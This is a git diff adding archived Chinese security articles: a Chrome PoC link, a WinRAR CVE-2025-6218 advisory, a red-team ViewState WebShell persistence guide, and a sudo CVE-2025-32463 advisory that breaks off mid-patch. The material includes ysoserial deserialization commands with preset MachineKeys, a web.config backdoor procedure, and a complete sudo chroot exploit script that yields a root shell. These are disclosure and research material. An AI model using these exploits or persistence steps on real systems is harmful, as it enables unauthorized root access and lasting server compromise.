diff --git a/data.json b/data.json index 6112a965..c5895ea4 100644 --- a/data.json +++ b/data.json @@ -15726,5 +15726,9 @@ "https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492309&idx=1&sn=971b6609659bdf8e5a1c6cd2c264177b": "SRC 视角下：渗透测试中的逻辑漏洞思路博弈", "https://mp.weixin.qq.com/s?__biz=MjM5ODYwMjI2MA==&mid=2649794356&idx=1&sn=1807d8a8e309d53363046e89b71a51fe": "悟空Agent实战：LLaMA-Factory高危0day漏洞挖掘与修复", "https://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247496737&idx=1&sn=370c593f1bce328f065b2ee3561a83bb": "【论文速读】| FuncVul——基于LLM与代码块的高效函数级漏洞检测模型", - "https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247494660&idx=1&sn=aa557759e534cc95f47181c56432377b": "PassGuard是一个轻量级安全工具，专为防护Linux系统中的脏牛(Dirty COW)内核漏洞而设计。" + "https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247494660&idx=1&sn=aa557759e534cc95f47181c56432377b": "PassGuard是一个轻量级安全工具，专为防护Linux系统中的脏牛(Dirty COW)内核漏洞而设计。", + "https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503538&idx=1&sn=5439ec7c9b1446ac237be77feab8fcd0": "【已复现】WinRAR 目录穿越漏洞(CVE-2025-6218)安全风险通告", + "https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499979&idx=1&sn=e62c7b512a2e3f57f702c815e19235da": "实战级权限维持，从配置到命令执行一键部署 ViewState WebShell", + "https://mp.weixin.qq.com/s?__biz=MzU4NDY3MTk2NQ==&mid=2247491736&idx=1&sn=c058b634e9bf320f603b91d1de78ff2a": "Chrome在野CVE-2025-6554漏洞poc公布", + "https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&mid=2247489170&idx=1&sn=3748f66988afa0fa303cbba4baa2bc5a": "漏洞通告：Sudo chroot 权限提升漏洞（Elevation of Privilege）" } \ No newline at end of file diff --git a/doc/2025-07/Chrome在野CVE-2025-6554漏洞poc公布.md b/doc/2025-07/Chrome在野CVE-2025-6554漏洞poc公布.md new file mode 100644 index 00000000..170a05df --- /dev/null +++ b/doc/2025-07/Chrome在野CVE-2025-6554漏洞poc公布.md @@ -0,0 +1,12 @@ +# Chrome在野CVE-2025-6554漏洞poc公布 +原创 老兵 网安守护 2025-07-01 09:03 + +地址： + +https://github.com/DarkNavySecurity/PoC/blob/main/CVE-2025-6554/poc.js + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/cm9mPvQVqibEeoMwibGcoehydqapqzFJXeESgiau74lgJPNjPyiaPVVTRV32x17Ftttm2aB0Q3QqWEqAmiab9RF8hLA/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cm9mPvQVqibEeoMwibGcoehydqapqzFJXecduyy68elCj3ibUWPWEpenyP4hxUcgxyaviaDvTEGXb8aO7WBjXQld5g/640?wx_fmt=png "") + + diff --git a/doc/2025-07/【已复现】WinRAR 目录穿越漏洞(CVE-2025-6218)安全风险通告.md b/doc/2025-07/【已复现】WinRAR 目录穿越漏洞(CVE-2025-6218)安全风险通告.md new file mode 100644 index 00000000..db19443d --- /dev/null +++ b/doc/2025-07/【已复现】WinRAR 目录穿越漏洞(CVE-2025-6218)安全风险通告.md @@ -0,0 +1,141 @@ +# 【已复现】WinRAR 目录穿越漏洞(CVE-2025-6218)安全风险通告 + 奇安信 CERT 2025-07-01 10:45 + +●  +点击↑蓝字关注我们，获取更多安全风险通告 + +

漏洞概述

漏洞名称

WinRAR 目录穿越漏洞

漏洞编号

QVD-2025-24408，CVE-2025-6218

公开时间

2025-06-21

影响量级

万级

奇安信评级

高危

CVSS 3.1分数

8.8

威胁类型

信息泄露

利用可能性

高

POC状态

已公开

在野利用状态

未发现

EXP状态

已公开

技术细节状态

已公开

危害描述：攻击者可以通过诱导用户访问恶意页面或打开恶意文件来利用此漏洞，从而造成信息泄露等危害。

+ + +**0****1** + +**漏洞详情** + +**>** +**>** +**>** +**>** + +**影响组件** + +WinRAR是一款广泛使用的文件压缩和解压缩工具，它支持多种压缩格式，包括RAR和ZIP。 + +**>** +**>** +**>** +**>** + +**漏洞描述** + +近日，奇安信CERT监测到 +WinRAR 目录穿越漏洞(CVE-2025-6218)POC已公开，该漏洞存在于WinRAR处理压缩文件中文件路径的过程中。攻击者可以利用精心构造的文件路径，使WinRAR进程遍历到任意目录，从而造成敏感信息泄露等危害。 +此漏洞POC已公开， +**鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。** + +**** +**** + + +**02** + +**影响范围** + +**>** +**>** +**>** +**>** + +**影响版本** + +WinRAR < 7.12 + +**>** +**>** +**>** +**>** + +**其他受影响组件** + +无 + + +**03** + +**复现情况** + +目前，奇安信威胁情报中心安全研究员已成功复现 +WinRAR 目录穿越漏洞(CVE-2025-6218)**** +，截图如下： + +![](https://mmbiz.qpic.cn/mmbiz_png/EkibxOB3fs4ibm7La2VtcLr5ydsQNmTL3MpS5cSBMwU8HiavmluRv4IOIsDoUrciaJ03hjHClQyaeMiaia2VhsaV6Tlg/640?wx_fmt=png&from=appmsg "") + + +**04** + +**处置建议** + +**>** +**>** +**>** +**>** + +**安全更新** + +用户应尽快升级到WinRAR 7.12或更高版本，以修复该漏洞。 + +官方下载链接： + +https://www.rarlab.com/download.htm + +修复缓解措施： + +避免打开不可信来源的压缩文件。 + + +**05** + +**参考资料** + +[1] +https://www.zerodayinitiative.com/advisories/ZDI-25-409/ + + + +**06** + +**时间线** + +2025年7月1日，奇安信 CERT发布安全风险通告。 + + + +**08** + +**漏洞情报服务** + +奇安信ALPH +A +威胁分析平台已支持漏洞情报订阅服务： + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EkibxOB3fs4ibpFEkqfMZfO3smS6RKd9BY9IJ0MPzeiashvK2XLpdl3XtTtCD91h0jS26fqvuWpEMXgmXa85qLkoA/640?wxfrom=5&wx_lazy=1&wx_co=1&wx_fmt=other&tp=webp "漏洞订阅上线.png") + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3tG2LbK7WG3tezJEzJsicLSWCGsIggLbcfk4LB5WK7pdSwMksxPOAoHuibjQpBlEId4nyIIw52n2J8N8MowYZcjA/640?wxfrom=5&wx_lazy=1&wx_co=1&wx_fmt=other&tp=webp "") + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EkibxOB3fs4ibpFEkqfMZfO3smS6RKd9BYBVaibvBq1vXprZIc191LXKibdiaApA16q3UgmibQDv4yW09qT88J3jRUfA/640?wxfrom=5&wx_lazy=1&wx_co=1&wx_fmt=other&tp=webp "CERT LOGO.png") + +**奇安信 CERT** + +**致力于** +第一时间为企业级用户提供**权威** +漏洞情报和**有效** +解决方案。 + + + +点击↓**阅读原文** +，到**ALPHA威胁分析平台** +订阅更多漏洞信息。 + diff --git a/doc/2025-07/实战级权限维持，从配置到命令执行一键部署 ViewState WebShell.md b/doc/2025-07/实战级权限维持，从配置到命令执行一键部署 ViewState WebShell.md new file mode 100644 index 00000000..12ccac9a --- /dev/null +++ b/doc/2025-07/实战级权限维持，从配置到命令执行一键部署 ViewState WebShell.md @@ -0,0 +1,187 @@ +# 实战级权限维持，从配置到命令执行一键部署 ViewState WebShell +原创 专攻.NET安全的 dotNet安全矩阵 2025-06-30 00:49 + +![图片](https://mmbiz.qpic.cn/mmbiz_gif/NO8Q9ApS1YibJO9SDRBvE01T4A1oYJXlTBTMvb7KbAf7z9hY3VQUeayWI61XqQ0ricUQ8G1FykKHBNwCqpV792qg/640?wx_fmt=gif&from=appmsg&wxfrom=5&wx_lazy=1&tp=webp "") + +在红队渗透测试中，权限维持是核心环节之一。尤其在面对已成功打点的 .NET Web 服务时，如何在不落盘、不依赖权限提升的前提下，实现长时间稳定控制，始终是红队技术演进的方向。 + +**Sharp4ViewStateShell4** +，正是围绕该目标设计的一款**新一代 .NET Web 权限维持工具** +。基于经典的 ViewState + 反序列化漏洞实现远程命令执行，同时通过自动化配置修改、辅助脚本释放与防护绕过等多重手段，构建出一个更稳定、隐蔽、适配性更强的 WebShell 渗透利用链。 + +**01. 工具基本介绍** + + + +Sharp4ViewStateShell4.exe 是对原有 Sharp4ViewStateShell 系列工具的重构与增强，核心能力包括：释放随机命名的辅助脚本，用于获取必要的 __VIEWSTATEGENERATOR 值，自动释放绕过配置 Web.config，防止脚本运行限制与目录统一重定向策略，增强落地成功率。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1Y9BEcPsrz6E5FeG5sxYTggxxRNiasr5jbicmos4FTWyy8EVej06FkZbySIiccXDu0PLsDwiaOGDDbylXQ/640?wx_fmt=jpeg&from=appmsg "") + +**02. 工具实战用法** + + + +.NET 的 ViewState 功能本质是为了解决 Web 应用的无状态问题，保存控件状态信息。但如果目标应用开启了 EnableViewStateMac="true" + 并使用弱或可控的 MachineKey，攻击者就可以伪造 ViewState，借助 ysoserial.net 工具构造反序列化链，从而实现命令执行RCE。 +## 2.1 一键修改配置文件 + +修改目标 +假设目标站点的物理路径为：C:\ +inetpub\wwwroot\， +在具有写入权限的目录，Upload +下执行如下命令： + +``` +Sharp4ViewStateShell4.exe "C:\inetpub\wwwroot" +``` + + +![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Y9BEcPsrz6E5FeG5sxYTggxAeQh70XtXXL3y85HE4eyibnVpzf7c9ouZicuUyMpjVMm77bs68gusNOg/640?wx_fmt=png&from=appmsg "") + +该命令会完成以下操作：修改**web.config** +，插入预设的MachineKey： + +``` + +``` + + +**在Upload目录下生成随机的脚本名，用于获取**__VIEWSTATEGENERATOR +值，比如**HBJhbo_GenerateViewState.aspx。** + +![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Y9BEcPsrz6E5FeG5sxYTggxFDtNYjI2ib72cO78FvCFe7aCazsFibyxPovBA3XJgjZR295TH1EkWOaQ/640?wx_fmt=png&from=appmsg "") +## 2.2 构建测试载荷 + +只需根据辅助脚本获取的 __VIEWSTATEGENERATOR + 值，并结合工具预设的 MachineKey，即可使用 ysoserial.net + 工具构造反序列化 payload： + +``` +ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "./ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" \--validationalg="SHA1" \--validationkey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F" \--decryptionalg="AES" \--decryptionkey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6" \--generator="DBC4925F" +``` + + +该命令会输出Base64编码的__VIEWSTATE +值，用于后续操作， +构造POST请求，将生成的ViewState数据发送至目标。 + +``` +POST /随机名_GenerateViewState.aspx HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencodedContent-Length:1024__VIEWSTATE=[Base64 Payload] +``` + + +如一切配置正确，将在页面响应中看到命令结果，比如 tasklist +。 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1YicBY5QtCNOPbsHFicvibgFQHwuJcKPTAoUXxMTwdibUYa7pCiarN2Sv27QI1AMuR7erc5Mk5dQFqfV9tA/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp "") + +综上， +Sharp4ViewStateShell4.exe + 释放了一个GenerateViewState脚本，更加容易获取__VIEWSTATEGENERATOR 参数值，再加上 +利用了 .NET 的 ViewState 反序列化机制配合自定义 MachineKey，实现持久化远程命令执行，非常适合在红队渗透中用于权限维持。 +文章涉及的工 +具已 +打包在星球，感兴趣的朋友可以加入自取。 + +**03.NET安全扩展学习** + + + +以上相关的知识点已收录于 +新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。 + + +**上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。** + + +**04. 技术精华内容** + + + +从漏洞分析到安全攻防，我们涵盖了 .NET 安全各个关键方面，为您呈现最新、最全面的 .NET 安全知识，下面是公众号发布的精华文章集合，推荐大伙阅读！ + +[](https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499267&idx=2&sn=1462cf23c9a8568cc80705d2d3a1a69e&scene=21#wechat_redirect) + + +[](https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499837&idx=2&sn=a8a2483424b1932e7ec931be792744ba&scene=21#wechat_redirect) + + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247493952&idx=4&sn=db68011fb075c1d02268811163646b53&chksm=fa5947adcd2ecebbb1ca6659f289a5e344e37d1136fe0bd9272b5578e4c71bb19bb250e934d3&scene=21#wechat_redirect) + + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247495167&idx=1&sn=9280c55fdc7c9146e549be470cf9f120&chksm=fa594312cd2eca04bfe8fd1fd3890b389d9c700b9b69d897f919addac399bab4f4d2e55f6b4f&scene=21#wechat_redirect) + + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247490722&idx=2&sn=c9807daa5548e139a0c67303cb26882a&chksm=fa5ab24fcd2d3b59a85be03e69c655ffd644e8458bc2ec3f572da4b40b43e5003fda756f35b4&scene=21#wechat_redirect) + + + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247490703&idx=2&sn=e7db1ff662e5b41d9a1806fbdf33e204&chksm=fa5ab262cd2d3b7470f029b9a07d1dd3611e63be910b01a601144efe7d84b5f016f488a354cf&scene=21#wechat_redirect) + + + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247490700&idx=2&sn=e8a865ada7c743e77fb9e953c5da74b1&chksm=fa5ab261cd2d3b7736387eddfc8524a378a1604552d0c9b55476646f9e8275f48818aab8acad&scene=21#wechat_redirect) + + + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247488736&idx=2&sn=d24aaa297c51eb620ccdf67af513086d&chksm=fa5aba0dcd2d331bbb22f3f5657199d718c90efed42fcb9cb67ec23d342f887c117e4858f1cb&scene=21#wechat_redirect) + + +**05. 加入安全社区** + + + +目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最专业的技术知识库之一，超 **1200+** + 成员一起互动学习。星球主题数量近 **600+** +，精华主题  +230+ +，PDF文档和压缩包  +300+  +。从Web应用到PC端软件应用，无论您是初学者还是经验丰富的开发人员，都能在这里找到对应的实战指南和最佳实践。 + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1Y9AiaXibTRdEnEfYuQx76FjZVjmyEWtIaDuDePFFmyRqggiaq2k47pLoib9GZtUCOhaP40WPlhvbiaKZVg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +## 20+专栏文章 + +星球文化始终认为授人以鱼不如授人以渔！星球整理出**20+** +个专题栏目涵盖 **.NET安全 点、线、面、体等知识范围** +，助力师傅们实战攻防！其中主题包括.NET  内网攻防、漏洞分析、内存马、代码审计、预编译、反序列化、WebShell免杀、命令执行、工具库等等。 + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1Y8xRheDpQ7NsESosdNZUopa90SJRuwnLy9uZV4icrXiaZlJPQlYJWXTw8HCrF9oTcE3DDgrdFnXo2BA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +## 海量资源和工具 + +截至当前，dot.Net安全矩阵星球社区汇聚了  +**600+** + 个实用工具和高质量PDF学习资料。这些资源涵盖了攻防对抗的各个方面，在实战中能够发挥显著作用，为对抗突破提供强有力的支持。 + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1Y8xRheDpQ7NsESosdNZUopaqVZW8XsALVA4FNiaj32q8npN82VSeqSKb4fQvLiczFNs0099VRFVQwPA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1Y8xRheDpQ7NsESosdNZUopa63ZXbX3YXLwoeNnjStcRtTbU9hoe6ecO5hhkj2apG1I6tKlkpz5GaQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +## 专属成员交流群 + +我们还有多个成员专属的 +**内部星球陪伴群** +，加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问，以获取帮助迅速解决问题。 + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Y8xRheDpQ7NsESosdNZUopaAiaouHb6HYza539m9v0ykDoD2JezaArDZBPlJInuabf6XsduzVcjZ0Q/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +## 已入驻的大咖们 + +星球汇聚了各行业安全攻防技术大咖，并且每日分享.NET安全技术干货以及交流解答各类技术等问题，社区中发布很多 +**高质量的.NET安全资源** +，可以说市面上很少见，都是干货。 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1YibEkb2HkMVuw4d7qjcTYUtl04w8xDiaUaJxticro644uWw5XuJ6ZXCNXCticjYWjpXNmp3omQHUNFRPg/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&tp=webp "") +## 欢迎加入我们 + +dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术，定位于高质量安全攻防星球社区，也得到了许多师傅们的支持和信任，通过星球深度连接入圈的师傅们，一起推动.NET安全高质量的向前发展。 +**星球门票后期价格随着内容和质量的不断沉淀会适当提高，因此越早加入越好！** + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1Y8xRheDpQ7NsESosdNZUopag09JtYcKpucjZPAlfeqC1ovcQvhrkemAzbURDaVF3InmpQshiatDnyQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + + diff --git a/doc/2025-07/漏洞通告：Sudo chroot 权限提升漏洞（Elevation of Privilege）.md b/doc/2025-07/漏洞通告：Sudo chroot 权限提升漏洞（Elevation of Privilege）.md new file mode 100644 index 00000000..35caac67 --- /dev/null +++ b/doc/2025-07/漏洞通告：Sudo chroot 权限提升漏洞（Elevation of Privilege）.md @@ -0,0 +1,346 @@ +# 漏洞通告：Sudo chroot 权限提升漏洞（Elevation of Privilege） +Rich Mirch securitainment 2025-07-01 09:26 + +> Vulnerability Advisory Sudo chroot Elevation of Privilege  + +> 免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。 + +### 简介 + +Sudo 是 Linux 系统中常见的高权限命令行工具。它允许授权用户根据系统安全策略，以超级用户（root）或其他用户身份执行命令。Sudo 广泛用于实施最小权限原则（principle of least privilege），让用户无需共享 root 密码即可完成需要提升权限的管理任务，并在系统日志中生成审计记录。 + +Stratascale 网络安全研究组（Cyber Research Unit, CRU）在 Sudo 中发现了两个本地权限提升（local privilege escalation）漏洞。这些漏洞可导致受影响系统上的权限被提升至 root。 + +本次研究聚焦于 Sudo 中不常用的命令行选项。本文将详细分析 chroot +选项如何被本地用户利用，即使该用户未被定义任何 Sudo 规则，仍可提升至 root 权限。 +#### 相关文章 + +CVE-2025-32462 – Sudo host 选项权限提升漏洞（Elevation of Privilege Vulnerability） +### 修复建议 +- 安装 sudo 1.9.17p1 或更高版本 + +- 访问 https://www.sudo.ws/security/advisories/chroot_bug 获取更多信息 + +### 影响范围 + +默认 Sudo 配置存在漏洞。尽管该漏洞涉及 Sudo 的 chroot 功能，但无需为用户定义任何 Sudo 规则即可利用。因此，如果安装了受影响版本，任何本地低权限用户都可能将权限提升至 root。已知受影响版本如下（注意：并非所有区间内版本都已测试）： +- 稳定版 1.9.14 - 1.9.17 + +注意：旧版 Sudo（当前 <= 1.8.32）不受影响，因为这些版本尚未实现 chroot 功能。 + +已验证可被利用的环境： +- Ubuntu 24.04.1; Sudo 1.9.15p5, Sudo 1.9.16p2 + +- Fedora 41 Server; Sudo 1.9.15p5 + +### 管理员 / 蓝队建议 +- 为系统安装最新的 sudo 包。该漏洞无可行的临时缓解措施 + +- chroot 选项已在 1.9.17p1 版本中弃用。建议避免使用 chroot 选项，因为如果配置不当，可能会降低系统安全性 + +- 检查环境中是否使用了 chroot 选项。审查 /etc/sudoers 及 /etc/sudoers.d 下所有 Sudo 规则。如果 Sudo 规则存储在 LDAP，可用 ldapsearch 等工具导出规则 + +- 查找 runchroot= 或 CHROOT= 的使用情况 + +- 可在系统日志（syslog）中搜索 sudo 条目。任何使用 chroot 的命令都会记录 CHROOT= + +#### Sudo chroot 简介 + +chroot(2)  +系统调用和 chroot(8)  +命令用于限制进程在文件系统上可访问的文件和目录。这是通过将进程的根目录更改为指定路径来实现的，从而将其视图限制在该路径下的文件。 + +一个实际应用场景是 SFTP/FTP 服务器。管理员可以配置用户在进行文件传输时仅能访问其主目录。例如，将 FTP 进程的根目录设置为 /home/user  +可防止访问该目录之外的文件，如 /etc/passwd +。 + +然而，chroot 并不被视为强大的安全边界。Linux chroot(2) 手册页明确指出："该调用仅改变了路径解析过程中的一个要素，除此之外不做任何处理。它不应用于任何安全目的，既不能完全沙盒化进程，也不能限制文件系统调用。 +" + +Sudo 通过 -R <目录> 或 –chroot=<目录> 选项实现 chroot 调用，用于"在运行命令前更改为指定的根目录 +"。这是一个不常见或很少使用的功能，可能是为支持边缘情况而实现的。 + +以下是一个测试用例中的 Sudo 规则示例。lowpriv  +账户被允许在 /web 下执行 /bin/bash +。在此示例规则中，用户没有通过命令行选项传递 chroot 目录。相反，Sudo 将在执行 /bin/bash  +之前 chroot 到 /web +。 +``` +lowpriv ALL = CHROOT=/web /bin/bash +``` + +当通过 Sudo 执行命令时，"root" 路径将被设置为 /web +，因此必须存在 /web/bin/bash 及其所有链接库。下面的 lsof  +命令输出示例显示了 lowpriv  +用户在 /web  +下运行 /bin/bash +。rtd  +行确认根目录已设置为 /web。 +``` +COMMAND    PID USER   FD   TYPE DEVICE SIZE/OFF    NODE NAME  +bash    160095 root  cwd    DIR  252,0     4096 1048596 /web  +bash    160095 root  rtd    DIR  252,0     4096 1048596 /web  +bash    160095 root  txt    REG  252,0  1446024 1048604 /web/bin/bash  +bash    160095 root  mem    REG  252,0  2125328 1048600 /web/lib/x86…gnu/libc.so.6  +bash    160095 root  mem    REG  252,0   208328 1048601 /web/lib/x86…libtinfo.so.6  +bash    160095 root  mem    REG  252,0   236616 1048602 /web/lib64/ld-…64.so.2  +``` + +注意，由于未将基本 Linux 命令（如 ls  +和 find +）复制到 chroot 环境中，这些命令将无法使用。 +``` +lowpriv@prod:~$ sudo /bin/bash +bash-5.2# cd / +bash-5.2# ls +bash: ls: command not found +bash-5.2# find . +bash: find: command not found +bash-5.2# echo * +bin lib lib64 +bash-5.2# echo bin/* +bin/bash +``` + +在 sudoers  +配置中，runchroot=*  +表示用户可以通过使用 -R 选项运行 sudo  +来指定根目录。以下展示了使用该选项的配置示例。 +``` +lowpriv@prod:~$ sudo -l +Matching Defaults entries for lowpriv on prod: +    env_reset, +    mail_badpass, +    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, +    use_pty, +    runchroot=* + +User lowpriv may run the following commands on prod: +    (root) /bin/bash +lowpriv@prod:~$ sudo -R /web /bin/bash +bash-5.2# +``` +#### CVE-2025-32463 Sudo chroot 权限提升漏洞分析 + +CVE-2025-32463 漏洞随 Sudo v1.9.14（2023 年 6 月发布）中 chroot 功能相关的 命令匹配处理代码 +（command matching handling code）更新而引入。 + +摘自 NEWS 文件： +> 改进了在 sudoers 中指定 chroot 时的命令匹配。sudoers 插件现在会在执行命令匹配前根据需要更改根目录 ID。此前，根目录仅被准备为正在处理的路径。 + + +该漏洞源于允许低权限用户在可控的可写路径上调用 chroot() +。Sudo 会多次调用 chroot() +，无论用户是否配置了相应的 Sudo 规则。 + +允许低权限用户以 root 权限在可写位置调用 chroot()  +会带来多种安全风险。许多应用程序（如 SSH）都明确防范此类情况。例如，如果目标位置不属于 root，SSH 将拒绝执行 chroot()。 + +pivot_root()  +和 unpivot_root()  +函数定义于 plugins/sudoers/pivot.c，负责处理 chroot +逻辑。在这两个调用之间，系统会触发 名称服务切换（Name Service Switch, NSS） 操作，导致系统从未受信任的环境中加载 /etc/nsswitch.conf  +配置文件。该文件包含指示系统如何检索用户、组和主机信息的指令。可以列出多个源，并按顺序搜索直到找到匹配项。 + +例如，以下 nsswitch.conf  +片段展示了针对该服务的 files 和 ldap  +配置。在检索用户信息时，系统会先搜索本地文件（如 /etc/passwd），然后查询 LDAP。 +``` +passwd:         files ldap +group:          files ldap +shadow:         files ldap +gshadow:        files ldap +``` + +阅读 nsswitch.conf  +文件时，一个可能不太明显的细节是：源名称（source name）也会作为共享对象（shared object，即库文件）路径的一部分。例如，上述 ldap +源会转换为 libnss_ldap.so +。当 NSS 函数使用 ldap  +源时，系统会加载对应的库文件。 + +由于这种行为，任何本地用户都可以诱使 Sudo 加载任意共享对象，从而导致以 root 权限执行任意代码。以下堆栈跟踪（stack trace）展示了 Sudo 加载的恶意共享对象。注意：为简洁起见，已对堆栈跟踪进行了大量编辑。 +``` +#0  0x0000763a155db181 in woot () from libnss_/woot1337.so.2 +#1  0x0000763a1612271f in call_init +#8  0x0000763a1612a164 in _dl_open (file="libnss_/woot1337.so.2",  +#14 0x0000763a15f53a0f in module_load +#15 0x0000763a15f53ee5 in __nss_module_load +#17 0x0000763a15f5460b in __GI___nss_lookup_function +#19 0x0000763a15f50928 in __GI___nss_passwd_lookup2 +#20 0x0000763a15f62628 in __getpwnam_r  +#21 0x0000763a15d59ae8 in pam_modutil_getpwnam +#27 0x0000763a15d58d99 in pam_acct_mgmt +#28 0x0000763a1577e491 in sudo_pam_approval +#29 0x0000763a157ce3ef in sudo_auth_approval +#30 check_user.constprop.0 +#32 0x0000763a15799143 in sudoers_check_cmnd +#33 sudoers_policy_check +#34 0x00005ba00874b491 in policy_check +#35 main +``` + +要利用该漏洞，我们在 chroot 环境中放置了以下 /etc/nsswitch.conf  +文件。其中 /woot1337  +这个 NSS "源" 会被转换为 libnss +/woot1337.so.2，这是一个我们可控路径下的共享对象（shared object）。 +``` +passwd: /woot1337 +``` + +在 Ubuntu 24.04.2 LTS 服务器上执行 PoC（Proof of Concept），使用未定义 Sudo 规则的低权限用户，成功在 chroot 环境外获取 root shell。 +``` +lowpriv@prod:~/CVE-2025-32463$ id +uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv) +lowpriv@prod:~/CVE-2025-32463$ sudo -l +[sudo] password for lowpriv: +Sorry, user lowpriv may not run sudo on prod. +lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh +woot! +root@prod:/# id +uid=0(root) gid=0(root) groups=0(root),1001(lowpriv) +``` + +完整的 sudo-chwoot.sh  +漏洞利用代码（PoC, Proof of Concept）。 +``` +#!/bin/bash +# sudo-chwoot.sh +# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch +#                  @ Stratascale Cyber Research Unit (CRU) +STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) +cd ${STAGE?} || exit 1 + +cat > woot1337.c< +#include + +__attribute__((constructor)) void woot(void) { +  setreuid(0,0); +  setregid(0,0); +  chdir("/"); +  execl("/bin/bash", "/bin/bash", NULL); +} +EOF + +mkdir -p woot/etc libnss_ +echo "passwd: /woot1337" > woot/etc/nsswitch.conf +cp /etc/group woot/etc +gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c + +echo "woot!" +sudo -R woot woot +rm -rf ${STAGE?} +``` +### Chwoot 演示 + +chwoot-demo.c  +是 Sudo 漏洞的简化版本，旨在复现其核心行为。该概念验证（Proof of Concept, PoC）可用于演示 chroot() 的潜在安全问题。 +``` +/* +  Description: Simulate behavior of CVE-2025-32463 - sudo EoP via chroot. +               Possible future CTF challenge? :) +  gcc -Wall -o chwoot-demo chwoot-demo.c +  cp 4755 chwoot-demo +  mv chwoot-demo /usr/bin +  Then get a root shell as a low priv user +*/ +#include  +#include  +#include  +#include  +#include  + +int main() { +    chdir("/tmp/stage"); +    int saved_root = open("/",O_RDONLY); +    int saved_cwd = open(".",O_RDONLY); +    chroot("/tmp/stage"); +    chdir("/"); +    gethostbyname("woot"); +    fchdir(saved_root); +    chroot("."); +    fchdir(saved_cwd); +    getgrnam("got root?"); +} +``` + +该补丁实质上回滚了 Sudo 1.9.14 版本中的变更。pivot_root()  +和 unpivot_root() +函数被移除，且在命令匹配阶段不再调用 chroot() +。 +``` +--- sudo-1.9.17/plugins/sudoers/sudoers.c       2025-06-12 12:12:38.000000000 -0500 ++++ sudo/plugins/sudoers/sudoers.c      2025-06-10 11:27:57.493871502 -0500 +@@ -1080,7 +1080,6 @@ + int + set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) + { +-    struct sudoers_pivot pivot_state = 